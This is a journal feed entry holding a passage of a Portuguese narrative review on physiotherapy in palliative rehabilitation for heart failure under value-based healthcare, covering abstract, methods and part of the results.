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	<title>Fisioterapia &#8211; ISSN 1678-0817 Qualis/DOI</title>
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	<description>Revista Científica de Alto Impacto.</description>
	<lastBuildDate>Thu, 12 Mar 2026 10:35:15 +0000</lastBuildDate>
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	<title>Fisioterapia &#8211; ISSN 1678-0817 Qualis/DOI</title>
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	<item>
		<title>PERSPECTIVA DA FISIOTERAPIA NA REABILITAÇÃO PALIATIVA EM ENTREGAR VALOR NA INSUFICIÊNCIA CARDÍACA NO MODELO INTEGRADO DE SAÚDE BASEADA EM VALOR: UMA REVISÃO NARRATIVA</title>
		<link>https://revistaft.com.br/perspectiva-da-fisioterapia-na-reabilitacao-paliativa-em-entregar-valor-na-insuficiencia-cardiaca-no-modelo-integrado-de-saude-baseada-em-valor-uma-revisao-narrativa/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 28 Jan 2026 16:46:11 +0000</pubDate>
				<category><![CDATA[Fisioterapia]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[PERSPECTIVE OF PHYSIOTHERAPY IN PALLIATIVE REHABILITATION IN&#160;DELIVERING VALUE IN HEART FAILURE WITHIN THE INTEGRATED VALUEBASED HEALTHCARE MODEL: A NARRATIVE REVIEW REGISTRO DOI: 10.69849/revistaft/cl10202601281345 Dannyel Barbirato1Sérgio Felipe Carvalho2 RESUMO&#160; O cuidado integrado dentro de uma estrutura de saúde baseada em valor visa melhorar os resultados clínicos, as experiências dos pacientes e a relação custo-eficácia para indivíduos [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">PERSPECTIVE OF PHYSIOTHERAPY IN PALLIATIVE REHABILITATION IN&nbsp;DELIVERING VALUE IN HEART FAILURE WITHIN THE INTEGRATED VALUEBASED HEALTHCARE MODEL: A NARRATIVE REVIEW</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202601281345</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Dannyel Barbirato<sup>1</sup><br>Sérgio Felipe Carvalho<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">O cuidado integrado dentro de uma estrutura de saúde baseada em valor visa melhorar os resultados clínicos, as experiências dos pacientes e a relação custo-eficácia para indivíduos que sofrem de insuficiência cardíaca, garantindo a prestação de serviços de saúde acessíveis, holísticos e coordenados. Neste contexto, emerge a necessidade de repensar os modelos de cuidado, transitando de sistemas baseados em volume para abordagens centradas em valor, mitigando a fragmentação e aumentar a eficácia da prestação de cuidados. Este trabalho tem como objetivo principal identificar e descrever a amplitude das evidências disponíveis sobre a fisioterapia na reabilitação paliativa para pacientes com insuficiência cardíaca, contemplando conceitos, barreiras e facilitadores para sua implementação no modelo integrado de saúde baseada em valor. Trata-se de uma revisão narrativa realizada na base de dados MEDLINE (PubMed), utilizando termos MeSH e DeCS relacionados a cuidados baseados em valor, cuidados paliativos, reabilitação cardíaca, fisioterapia e insuficiência cardíaca. Os resultados evidenciam que a reabilitação paliativa, integrada aos cuidados paliativos, é recomendada por diretrizes internacionais e demonstra impacto significativo na qualidade de vida dos pacientes dentro de uma estrutura de saúde baseada em valor. A fisioterapia emerge atuando não apenas na prescrição de exercícios, mas como articuladora do cuidado e especialista em funcionalidade humana, contribuindo para a redução de hospitalizações, diminuição da polifarmácia, aumento da eficiência e otimização de recursos. O estudo contribui para o reconhecimento da fisioterapia como componente estratégico na entrega de valor em saúde cardiovascular, destacando a necessidade de abordagens multidisciplinares integradas que considerem as dimensões físicas, emocionais, sociais e espirituais dos pacientes.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>&#8220;Cuidados Integrados Baseados em Valores&#8221;, &#8220;Cuidados de Saúde Baseados em Valores&#8221;, &#8220;Saúde Baseada em Valores&#8221;,&nbsp;&#8220;Cuidados Paliativos&#8221;, &#8220;Reabilitação Paliativa&#8221;, &#8220;Reabilitação Cardíaca&#8221;, &#8220;Fisioterapia&#8221;, &#8220;Fisioterapia&#8221;, &#8220;Insuficiência Cardíaca&#8221;.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">Integrated care within a value-based healthcare framework aims to improve clinical outcomes, patient experiences and cost-effectiveness for individuals suffering from heart failure by ensuring the provision of accessible, holistic and coordinated healthcare services. In this context, the need to rethink care models emerges, transitioning from volume-based systems to value-centered approaches, mitigating fragmentation and increasing the effectiveness of care provision. The main objective of this work is to identify and describe the breadth of evidence available on physiotherapy in palliative rehabilitation for patients with heart failure, covering concepts, barriers and facilitators for its implementation in the integrated value-based healthcare model. This is a narrative review carried out in the MEDLINE database (PubMed), using MeSH and DeCS terms related to value-based care, palliative care, cardiac rehabilitation, physiotherapy and heart failure. The results show that palliative rehabilitation, integrated with palliative care, is recommended by international guidelines and demonstrates a significant impact on patients&#8217; quality of life within a value-based healthcare structure. Physiotherapy emerges acting not only in the prescription of exercises, but as an articulator of care and a specialist in human functionality, contributing to the reduction of hospitalizations, reduction of polypharmacy, increased efficiency and optimization of resources. The study contributes to the recognition of physiotherapy as a strategic component in delivering value in cardiovascular health, highlighting the need for integrated multidisciplinary approaches that consider the physical, emotional, social and spiritual dimensions of patients.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: &#8220;Value-Based Integrated Care&#8221;, &#8220;Value-Based Healthcare&#8221;, &#8220;Value-Based Health&#8221;,&nbsp;&#8220;Palliative Care&#8221;, &#8220;Palliative Rehabilitation&#8221;, &#8220;Cardiac Rehabilitation&#8221;, &#8220;Physical Therapy&#8221;, &#8220;Physiotherapy&#8221;, &#8220;Heart Failure&#8221;.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O cuidado integrado no contexto de saúde baseado em valor é definido como os resultados obtidos pelos pacientes e sua vivência com os cuidados, juntamente com a quantidade de recursos financeiros investidos na oferta de serviços acessíveis, abrangentes e coordenados para uma população-alvo, sendo considerada uma estratégia para superar a fragmentação dos serviços de saúde, resultando em maior eficácia no atendimento, melhores resultados para os pacientes e experiências aprimoradas com os cuidados <a href="https://www.zotero.org/google-docs/?fT9kqV">(1).</a> Os sistemas de saúde estão se transformando, passando do modelo tradicional baseado em volume para um modelo baseado em valor <a href="https://www.zotero.org/google-docs/?BlH99X">(2).</a> Pioneiros no conceito de cuidados em saúde baseado em valor, Porter e Teisberg (2006) <a href="https://www.zotero.org/google-docs/?OuVCoO">(3),</a> entendem valores como os desfechos de saúde que realmente importam para os pacientes divididos pelos recursos necessários para alcançá-los <a href="https://www.zotero.org/google-docs/?CADp8T">(4,5).</a> Em resposta ao sistema de saúde falido e que enfrentam problemas como o aumento dos custos da saúde e a fragmentação da prestação de cuidados <a href="https://www.zotero.org/google-docs/?Na8bl2">(6,7),</a> mostraram que a transformação do cuidado baseado em volume para o cuidado baseado em valor deve se basear em uma combinação de seis elementos: organização em torno de unidades de cuidado integradas, mensuração de resultados e custos por paciente, pagamentos agrupados por ciclos de cuidado, expansão do alcance geográfico e investimentos em sistemas de informação, também conhecida como agenda estratégica de valor de Porter e Lee <a href="https://www.zotero.org/google-docs/?hYJZGA">(6,7).</a>&nbsp;</p>



<p class="wp-block-paragraph">O cuidado integrado em saúde baseado em valor tem ganhado destaque globalmente como uma abordagem estratégica, promissora e fundamental para o sistema universal de saúde que enfrenta desafios significativos para atender às necessidades de uma população em transformação, caracterizada por custos crescentes e experiências dos pacientes frequentemente insatisfatórias <a href="https://www.zotero.org/google-docs/?W2ba96">(1,4,8,9).</a> Até 2060, projeta-se que o número de indivíduos que falecem devido a doenças crônicas graves relacionadas à saúde em todas as faixas etárias aumentará em 87%, quase dobrando de 26 milhões por ano para 48 milhões <a href="https://www.zotero.org/google-docs/?Q5HFDY">(10).</a> Dentro das doenças crônicas, a insuficiência cardíaca destaca-se representando um sério problema de saúde pública, estando ligada a um elevado consumo de recursos e custos no sistema de saúde <a href="https://www.zotero.org/google-docs/?cL3iD0">(11–13).</a> A insuficiência cardíaca é uma síndrome complexa caracterizada por uma fisiopatologia heterogênea e etiologia multifacetada, definida com sintomas e/ou sinais causados por uma anormalidade cardíaca estrutural e/ou funcional, corroborada por níveis elevados de peptídeos natriuréticos e/ou evidências objetivas de congestão pulmonar ou sistêmica <a href="https://www.zotero.org/google-docs/?4kqTq0">(14).</a> Considerada uma pandemia que afeta cerca de 64 milhões de pessoas em todo mundo <a href="https://www.zotero.org/google-docs/?8C1q2Q">(11),</a> e uma prevalência estimada em mais de 56 milhões de indivíduos globalmente, com previsão de aumento em 46% até 2030, constitui um enorme fardo global para a saúde, associado à redução da qualidade de vida, hospitalizações frequentes, aumento dos custos com saúde e altas taxas de mortalidade <a href="https://www.zotero.org/google-docs/?mn6g3a">(15,16).</a> Estima-se que os custos totais atribuídos a insuficiência cardíaca aumentem de US$ 31 bilhões para US$ 142 bilhões até 2050 <a href="https://www.zotero.org/google-docs/?H1phyB">(16).</a>&nbsp;</p>



<p class="wp-block-paragraph">Uma mudança gradual, mas em ritmo acelerado, está ocorrendo em direção a um modelo de saúde baseado em valor na cardiologia <a href="https://www.zotero.org/google-docs/?1zJ009">(2).</a> Essa transformação abrange objetivos triplos (experiência do paciente, resultados e custos) <a href="https://www.zotero.org/google-docs/?G9HJ18">(2,4,5,17,18),</a>&nbsp; quádruplos (incluindo experiência dos provedores para qualidade e sustentabilidade) <a href="https://www.zotero.org/google-docs/?9rJliA">(2,18) </a>e quíntuplos (adicionando equidade para reduzir desigualdades no acesso e nos resultados) <a href="https://www.zotero.org/google-docs/?UyCobm">(2,19).</a> O objetivo é melhorar a qualidade do atendimento, aumentar a eficiência e promover a equidade na saúde, resultando em um sistema de saúde mais sustentável que beneficia pacientes, profissionais e a sociedade como um todo <a href="https://www.zotero.org/google-docs/?YQd7nH">(2).</a> Pessoas com insuficiência cardíaca avançada apresentam necessidades biopsicossociais significativas e um prognóstico reservado <a href="https://www.zotero.org/google-docs/?KQ4y5L">(20).</a> Diretrizes internacionais têm recomendado a integração da reabilitação aos cuidados paliativos no manejo da insuficiência cardíaca <a href="https://www.zotero.org/google-docs/?h9i69Z">(21,22).</a> Dame Cicely Saunders foi pioneira no movimento moderno de cuidados paliativos ao estabelecer o St. Christopher&#8217;s Hospice em 1967 <a href="https://www.zotero.org/google-docs/?5vYESx">(10,23),</a> transformando a abordagem dos profissionais de saúde no tratamento de pacientes com doenças ameaçadoras à vida, por meio de uma abordagem holística que considera as necessidades físicas, emocionais, sociais e espirituais <a href="https://www.zotero.org/google-docs/?HGmnC0">(24,25).</a> Anualmente, cerca de 56,8 milhões de pessoas necessitam desse tipo de cuidado especializado, mas apenas 14% têm acesso a ele, sendo que a maioria dos adultos que requerem cuidados paliativos sofre de doenças crônicas, como doenças cardiovasculares (38,5%), dentre elas a insuficiência cardíaca <a href="https://www.zotero.org/google-docs/?00uzjo">(10,25).</a>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A importância de integrar a reabilitação paliativa aos cuidados paliativos padrão no manejo da insuficiência cardíaca também são destacadas pelas diretrizes internacionais <a href="https://www.zotero.org/google-docs/?VB9paK">(20– 22,26),</a> reconhecendo que essa abordagem multidisciplinar oferece suporte mais amplo, melhora a qualidade de vida ao atender às necessidades físicas, funcionais e psicossociais e otimiza os recursos dos serviços de saúde <a href="https://www.zotero.org/google-docs/?R3YXhe">(20–22,26,27).</a> A reabilitação paliativa é conceituada como o processo de auxiliar pacientes com doença progressiva, muitas vezes terminal, a alcançar seu potencial físico, psicológico e social, respeitando suas limitações fisiológicas e ambientais, bem como suas preferências de vida <a href="https://www.zotero.org/google-docs/?6PBrQF">(27,28).</a> Realizada por uma equipe multidisciplinar que envolve intervenções como fisioterapia, terapia ocupacional, suporte psicológico, nutrição e manejo da dor, promovendo alívio dos sintomas, manutenção da funcionalidade e autonomia, essenciais para a dignidade do paciente, pode melhorar a qualidade de vida de adultos que enfrentam doenças avançadas e limitantes, dentre elas a insuficiência cardíaca, além de potencialmente diminuir em média 1,84 dias o tempo de internação hospitalar em comparação com os cuidados convencionais, beneficiando tanto pacientes quanto o sistema de saúde ao diminuir custos e complicações associadas à hospitalização prolongada <a href="https://www.zotero.org/google-docs/?aFFmrN">(27).</a>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Dentro dos contextos apresentados, este artigo revisa narrativamente os conhecimentos atuais objetivando identificar e descrever sistematicamente a amplitude das evidências disponíveis sobre a perspectiva da fisioterapia na reabilitação paliativa em entregar valor em pacientes com insuficiência cardíaca no modelo integrado dentro do contexto de saúde baseada em valor, contemplando e aprofundando conceitos, barreiras e facilitadores para sua implementação no cenário global.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. PROCEDIMENTOS METODOLÓGICOS&nbsp;</strong></p>



<p class="wp-block-paragraph">A estratégia de busca objetivou localizar estudos publicados na base de dados MEDLINE (PubMed). Uma busca preliminar limitada inicial foi realizada para identificar artigos sobre o tema. As palavras-chave contidas nos títulos e resumos dos artigos relevantes, bem como os termos de indexação usados para descrever os artigos, foram utilizados para desenvolver uma estratégia de busca completa. A partir do recurso de busca avançada, incluindo todas as palavras-chave e termos de índice identificados MeSH (Medical Subject Headings) e DeCS (Health sciences desCriptors), para busca na base de dados MEDLINE (PubMed), utilizou-se combinações, interligados por operadores booleanos, relacionando “Cuidados&nbsp;Integrados Baseados em valor”, “Cuidados em Saúde Baseados em Valor’, “Saúde Baseada em Valor”, “Cuidados Paliativos”, “Reabilitação Paliativa”, “Reabilitação Cardíaca”, “Fisioterapia”, “Insuficiência Cardíaca”, efetuando um levantamento bibliográfico da literatura na base citada. A terminologia de busca foi definida da seguinte forma: (((((((((&#8220;Value-Based Integrated Care&#8221;)) OR (&#8220;Value-Based Healthcare&#8221;)) OR (&#8220;Value-Based Health&#8221;)) AND (&#8220;Palliative Care&#8221;)) AND (&#8220;Palliative Rehabilitation&#8221;)) OR (&#8220;Cardiac Rehabilitation&#8221;)) OR (&#8220;Physical Therapy&#8221;)) OR (&#8220;Physiotherapy&#8221;)) AND (&#8220;Heart Failure&#8221;). Os estudos foram avaliados por título/resumo e texto completo. As listas de referências dos artigos incluídos na revisão foram analisadas em busca de artigos adicionais. A população de interesse foi composta por adultos de 19 anos ou mais com insuficiência cardíaca. Não existiram limitações de idiomas. Estudos publicados a partir de 2000 foram considerados para inclusão. O prazo de 26 anos foi aplicado à luz dos artigos seminais publicados sobre Saúde Baseada em Valor por Michael E. Porter (2010) <a href="https://www.zotero.org/google-docs/?sgvI6f">(4) </a>e Cuidados Paliativos por Cicely Saunders (2000) <a href="https://www.zotero.org/google-docs/?6UiKux">(23),</a> por representarem um marco temporal para a literatura e realidade atual. Após a pesquisa, todas as citações identificadas de acordo com os critérios de inclusão e exclusão foram carregadas em um software bibliográfico, Zotero 7.0.15 / 2025 (Universidade George Mason, Fairfax, Virginia, Estados Unidos). Além disso, foi empregada a ferramenta on-lineLitmaps (2025) para uma busca por meio de “<em>Web Scraping”</em> (Figura 1). Os dados foram extraídos e apresentados em forma de figura, tabela e resumo narrativo, alinhados ao objetivo da revisão.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3. RESULTADOS E DISCUSSÕES</strong></p>



<figure class="wp-block-image aligncenter size-full"><img fetchpriority="high" decoding="async" width="614" height="350" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-526.png" alt="" class="wp-image-263904" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-526.png 614w, https://revistaft.com.br/wp-content/uploads/2026/01/image-526-300x171.png 300w" sizes="(max-width: 614px) 100vw, 614px" /></figure>



<p class="wp-block-paragraph">Figura 1: “<em>Web Scraping”</em> mostra as conexões dos artigos selecionados na revisão. A conectividade do mapa sugere quais artigos são os mais relevantes em termos de tema.<em> </em>Artigos com um alto número de citações geralmente têm um impacto mais significativo em sua área de atuação. Além disso, o mapa de conectividade ajuda a identificar artigos mais recentes e impactantes que ainda podem estar acumulando citações.</p>



<p class="wp-block-paragraph"><strong>Principais conclusões sobre Modelo de Assistência em Saúde Baseado em Valor</strong><strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">A necessidade de gerar valor foi intensificada pelo envelhecimento da população, pelo aumento de pessoas com condições de saúde complexas (ex.: insuficiência cardíaca), pelos avanços na tecnologia em saúde, pelas crescentes expectativas dos cidadãos e pelo rápido aumento dos gastos com saúde <a href="https://www.zotero.org/google-docs/?LN3MK0">(29).</a> Portanto, com o aumento dos custos de saúde em todo o mundo e a persistência das desigualdades na prestação e qualidade dos serviços, a adoção de um modelo de assistência em saúde baseado em valor tornou-se uma prioridade para os formuladores de políticas, profissionais de saúde e financiadores, sua implementação representa uma mudança transformadora na forma como a saúde é prestada <a href="https://www.zotero.org/google-docs/?CGlOxO">(30).</a> Embora os cuidados em saúde baseados em valor apresente uma estrutura bem estabelecida, estudos demonstram <a href="https://www.zotero.org/google-docs/?gHqJeD">(1,6,29,30) </a>que carece uma conceitualização e interpretação mais unificada para sua implementação, visto que essa falta de unificação dificulta a sua reprodutibilidade e aplicabilidade em vários contextos distintos, desafiada pela precedência de intervenções multicomponentes, testes múltiplos e questões generalizadas <a href="https://www.zotero.org/google-docs/?H5sb3l">(1,6,30).</a>&nbsp;</p>



<p class="wp-block-paragraph">Dentro desse contexto, Daniels k. et al. (2022) e van der Nat (2022) em seus estudos propõem uma nova agenda estratégica para a transformação do valor, no qual relatam que quatro elementos adicionais (“Estabelecer melhoria de qualidade baseada em valor”, “Integrar valor na comunicação com o paciente”, “Investir em uma cultura de entrega de valor”&nbsp; e&nbsp;“Construir plataformas de aprendizagem para profissionais de saúde”), também foram identificados e adicionados e estão sendo trabalhados na implementação da linha de cuidados em saúde baseados em valor por profissionais de saúde que adotam as melhores práticas <a href="https://www.zotero.org/google-docs/?aWi8xl">(31,32).</a> Além disso, De Mattia et al. (2024) fornece uma análise categorizando os cuidados em saúde baseados em valor em níveis macro (governo e políticas públicas), meso (administração hospitalar) e micro (prestador de serviços de saúde) <a href="https://www.zotero.org/google-docs/?65faFb">(30,33),</a> no qual relata que os hospitais desempenham um papel central na transição para os cuidados em saúde baseados em valor, mas não podem alcançar o sucesso isoladamente, necessitando de uma abordagem abrangente e multinível, envolvendo apoio governamental, modelos de reembolso adequados e reestruturação organizacional <a href="https://www.zotero.org/google-docs/?M6upWQ">(30,33).</a>&nbsp;</p>



<p class="wp-block-paragraph">Smith et al.<em> </em>(2023) abordam essa multiplicidade de perspectivas em uma reflexão distinta, propondo relacionar o valor ao bem-estar social, definindo o valor do sistema de saúde como contribuição para o bem-estar da sociedade, adotando uma estrutura com cinco dimensões amplas de valor, que englobam a melhoria da saúde, a capacidade de resposta da assistência à saúde, a proteção financeira, a eficiência e a equidade <a href="https://www.zotero.org/google-docs/?hGcohf">(29),</a> corroborando com as mudanças que estão ocorrendo na cardiologia em direção a um modelo de saúde baseado em valor, que abrange objetivos triplos (experiência do paciente, resultados e custos), quádruplos (incluindo experiência dos provedores para qualidade e sustentabilidade) e quíntuplos (adicionando equidade para reduzir desigualdades no acesso e nos resultados) <a href="https://www.zotero.org/google-docs/?02eITJ">(2,5,18,19).</a>&nbsp;</p>



<p class="wp-block-paragraph">Khalil H et al. (2025) em sua revisão de escopo <a href="https://www.zotero.org/google-docs/?wJtKeC">(30),</a> destaca a necessidade de medições de resultados consistentes, incentivos financeiros e maior transparência de dados para garantir a implementação bem-sucedida e em larga escala dos cuidados de saúde baseados em valor em todos os sistemas de saúde <a href="https://www.zotero.org/google-docs/?IzdIaM">(30).</a> O autor ainda demonstra, que embora o cuidados de saúde baseados em valor apresenta potencial para melhorar a eficiência e a qualidade da assistência à saúde, ainda existem desafios para alinhar as estruturas financeiras e operacionais de forma a apoiar plenamente essa mudança de paradigma <a href="https://www.zotero.org/google-docs/?kDEDCa">(30).</a> Além disso, relata que compreender as barreiras, facilitadores e a mensuração de resultados é crucial para orientar políticas e práticas para uma implementação mais ampla dos cuidados em saúde baseados em valor <a href="https://www.zotero.org/google-docs/?RsINRH">(30).</a>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Principais conclusões sobre Barreiras, Facilitadores e Mensuração de Resultados a Implementação da Assistência em Saúde Baseado em Valor&nbsp;</strong></p>



<p class="wp-block-paragraph">As principais barreiras à implementação de cuidados de saúde baseados em valor inclui:&nbsp;financiamento e incentivos financeiros insuficientes, resistência a mudança entre profissionais de saúde, falta de infraestrutura de tecnologia da informação e dados adequados, sistemas de saúde ainda orientados para o modelo de pagamento por serviço prestado, barreiras organizacionais e estruturais <a href="https://www.zotero.org/google-docs/?QNcOB3">(30,34,35).</a> Já os facilitadores da implementação de cuidados de saúde baseados em valor incluem: melhores resultados para os pacientes e maior eficiência de custos, liderança e modelos de cuidados multidisciplinares, ferramentas digitais e compartilhamento de dados, incentivos financeiros para prestadores de serviços, implementação de medidas de resultados relatados pelo paciente (PROMs e PREMs) <a href="https://www.zotero.org/google-docs/?QONozm">(30,34,35).</a>&nbsp;</p>



<p class="wp-block-paragraph">As medidas de resultados relatados pelo paciente (PROMs) e as medidas de experiência relatadas pelo paciente (PREMs) estão se tornando partes essenciais de um sistema de saúde de aprendizagem contínua, e o uso dessas medidas é uma abordagem promissora para a assistência em saúde baseada em valor <a href="https://www.zotero.org/google-docs/?8S4Zg5">(34),</a> com o potencial de enriquecer o processo de tomada de decisões <a href="https://www.zotero.org/google-docs/?pPOYKY">(35).</a> Os formuladores de políticas e os gestores de saúde devem fornecer apoio ativo, alocando recursos para a educação de pacientes e profissionais de saúde, bem como auxiliando no desenvolvimento de ferramentas e fluxos de trabalho voltados para facilitar o processo de tomada de decisão compartilhada <a href="https://www.zotero.org/google-docs/?rhuvLd">(35).</a> Os resultados iniciais de uma estrutura digital para tomada de decisão compartilhada enriquecida que incorpora dados agregados com dados relatados pelos pacientes (PROMs e PREMs) parecem ser benéficos para o processo de tomada de decisão, garantindo que as decisões clínicas incorporem não apenas desfechos clínicos tradicionais, mas também dados sobre desfechos que realmente reflitam os valores e preferências dos pacientes <a href="https://www.zotero.org/google-docs/?RJqPXL">(34,35).</a> Além da mensuração de resultados, é relevante quantificar os custos ao longo de todo o ciclo de cuidados <a href="https://www.zotero.org/google-docs/?HcVL0m">(29).</a> A implementação de iniciativas orientadas por valor requer métodos robustos de avaliação de custos capazes de fornecer informações de elevada qualidade. Na última década, o Consórcio Internacional para Mensuração de Resultados em Saúde (International Consortium for Health Outcomes Measurement &#8211; ICHOM) desempenha papel significativo na padronização de medidas de resultados clínicos e relatados por pacientes (Patient-Reported Outcomes) para condições clínicas específicas. Contudo, gestores e profissionais clínicos necessitam igualmente de métodos precisos e confiáveis para mensurar custos no nível individual do paciente, abrangendo todo o ciclo de cuidados, desde o diagnóstico até a “cura” ou o monitoramento e manutenção do estado de saúde. Nesse contexto, o Custeio Baseado em Atividades Direcionado pelo Tempo (Time-Driven Activity-Based Costing &#8211; TDABC) tem sido progressivamente adotado para preencher a lacuna informacional relativa aos custos. O TDABC configura-se como estratégia promissora para incrementar a precisão da mensuração de custos em contextos assistenciais reais, podendo facilitar a transição de sistemas de pagamento por procedimento (fee-for-service) para modelos baseados em valor. Os resultados obtidos proporcionam compreensão mais clara da estrutura de custos, auxiliam na alocação racional de recursos e na redução de desperdícios, além de apoiarem clínicos e gestores na geração de valor de forma mais precisa e transparente <a href="https://www.zotero.org/google-docs/?MdF34a">(36–40).</a>&nbsp;</p>



<p class="wp-block-paragraph">Fernández-Salido et al. (2024) <a href="https://www.zotero.org/google-docs/?ACxkwZ">(6),</a> com base nas descobertas em sua revisão bibliográfica exploratória, descreve o estado da arte em relação ao conceito de cuidados de saúde baseados em valor, os principais elementos para sua implementação bem-sucedida e os resultados positivos da implementação em um sistema de saúde, concluindo que a sua implementação pode contribuir para uma melhoria na eficiência e sustentabilidade dos cuidados de saúde <a href="https://www.zotero.org/google-docs/?yxFUm7">(6).</a> Destaca que entre os estudos analisados na sua revisão, foram identificados os seguintes elementos-chave: liderança, envolvimento da perspectiva dos pacientes, organização da prestação de cuidados em unidades de cuidados integrados, padronização das medidas de resultados e acessibilidade dos dados, além de recursos suficientes em termos de tempo e capital humano <a href="https://www.zotero.org/google-docs/?1fp7YW">(6).</a> Relata também que 66,6% dos estudos incluídos na sua revisão de escopo apresentaram resultados a favor no que se referem predominantemente a desfechos positivos. Além disso, enfatiza que a presença de uma liderança eficaz é um elemento-chave para apoiar e orientar as equipes (multidisciplinares e interdisciplinares) desempenhando um papel na equipe que é perseverante, comprometida ao longo de todo o processo, capaz de motivar e impulsionar a equipe, e que está constantemente apta a trazer novas ideias e abordagens <a href="https://www.zotero.org/google-docs/?QaUFax">(6).</a> Essa liderança eficaz foi considerada essencial para garantir que a implementação não seja interrompida ou mesmo que o trabalho baseado em valores não chegue ao fim <a href="https://www.zotero.org/google-docs/?OX0Jdw">(6).</a> A implementação dessas perspectivas proposicionais culminou no desenvolvimento de modelos assistenciais que transcenderam a abordagem do &#8220;cuidado centrado no paciente&#8221; em direção ao paradigma do &#8220;cuidado centrado na pessoa&#8221;. Além disso, os serviços prestados pelas organizações de saúde contemporâneas incorporam, como parâmetros referenciais na provisão do cuidado, não apenas os aspectos econômico-financeiros e a satisfação dos usuários, mas também o engajamento ativo e a experiência vivenciada pela população assistida, convergindo, assim, para um inovador modelo de atenção à saúde baseado em valor <a href="https://www.zotero.org/google-docs/?qneVFk">(6).</a> Um modelo de cuidado integrado que elimina as barreiras entre especialidades e coespecialidades atende de forma eficaz às necessidades paliativas de pacientes com insuficiência cardíaca, utilizando uma abordagem de saúde baseada em valor, superando desafios e melhorando significativamente tanto os resultados dos pacientes quanto a relação custo-eficácia <a href="https://www.zotero.org/google-docs/?06PLlI">(41).</a> A cardiologia orientada por valor representa um movimento global que busca maximizar a qualidade do atendimento enquanto otimiza recursos e reduz custos. Esta abordagem pode ser a solução para ampliar o acesso a cuidados de saúde de excelência, promovendo vidas mais saudáveis dentro de um modelo de sistema de saúde economicamente viável e sustentável <a href="https://www.zotero.org/google-docs/?5fKvJO">(2).</a>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Dentro dessa linha de pensamento, Silva et al. (2025) apresenta elementos fundamentais para implementação do conceito de cuidado em saúde baseado em valor para aplicação na cardiologia que corrobora com as idéias relatadas neste artigo, com a seguinte estrutura: 1. Organização do atendimento (linhas de cuidados), 2. Registro médico eletrônico, 3. Linha de ̃ cuidado integrada e eficiente, 4. Acompanhamento contínuo do paciente, 5. Definiçao das aç̃ ões médicas com base na melhor evidência disponível, Seleçao e avaliaç̃ ao do desfecho apropriado, ̃ 6. Avaliação do custo e oportunidades de melhoria, 7. Análise e divulgaç̃ ao das métricas de ̃ forma regular. Além disso, a recomendação é manter o foco na segurança do paciente, evitando danos causados pela assistência, procurando sempre melhorar o desfecho e sempre sendo transparente com os “consumidores” para formar uma parceria na construção do cuidado em ̃ saúde baseado em valor <a href="https://www.zotero.org/google-docs/?lZfPzb">(2).</a> As diretrizes mais consolidadas acerca da integração de cuidados paliativos em doenças cardiovasculares referem-se aos pacientes com insuficiência cardíaca, fundamentadas em evidências científicas robustas que demonstram benefícios significativos, incluindo melhora da qualidade de vida, controle sintomático (dispneia e dor), redução de transtornos psiquiátricos, maior utilização de diretivas antecipadas de vontade e diminuição tanto nas internações hospitalares quanto nos custos do tratamento. Em face deste corpo de evidências, observa-se uma evolução paradigmática nas recomendações das principais sociedades científicas, que historicamente preconizavam cuidados paliativos exclusivamente para pacientes em estágio terminal (estágio D), mas atualmente advogam pela integração de cuidados paliativos para todos os pacientes com insuficiência cardíaca, independentemente do estágio da doença <a href="https://www.zotero.org/google-docs/?QhBQe7">(20–22,42,43).</a>&nbsp;</p>



<p class="wp-block-paragraph"><strong>Fisioterapia na Reabilitação Paliativa Cardiovascular: Uma Perspectiva de Valor Integrado&nbsp;</strong></p>



<p class="wp-block-paragraph">Os cuidados paliativos têm experimentado uma evolução que transcende a concepção tradicional de assistência exclusivamente terminal, consolidando-se como uma abordagem longitudinal centrada na qualidade de vida e no alívio do sofrimento multidimensional <a href="https://www.zotero.org/google-docs/?In1Qkj">(44,45).</a> Neste contexto, a reabilitação paliativa emerge como um campo interdisciplinar específico que integra os princípios da medicina de reabilitação aos cuidados paliativos, fundamentando-se na premissa de que a otimização funcional, a manutenção da autonomia e a maximização da participação social constituem direitos inalienáveis, independentemente do prognóstico ou da trajetória da doença <a href="https://www.zotero.org/google-docs/?UDr0Bh">(28,46–48).</a> Definida como um processo ativo que visa restaurar ou manter a máxima funcionalidade, conforto, independência e qualidade de vida em pacientes com doenças progressivas limitantes <a href="https://www.zotero.org/google-docs/?gvQZ6L">(27,28,46),</a> a reabilitação paliativa desafia a falsa dicotomia entre &#8220;curar&#8221; e &#8220;cuidar&#8221;, propondo uma terceira via que reconhece a possibilidade de ganhos funcionais significativos mesmo em contextos de irreversibilidade clínica. Particularmente na insuficiência cardíaca avançada, condição caracterizada por sintomas debilitantes progressivos e readmissões hospitalares recorrentes, a integração entre cuidados paliativos e reabilitação representa não apenas uma necessidade clínica, mas um imperativo ético que reconhece a pessoa em sua integralidade, valorizando simultaneamente a longevidade e a qualidade dos dias vividos <a href="https://www.zotero.org/google-docs/?CPfwZ0">(26,48–50).</a>&nbsp;</p>



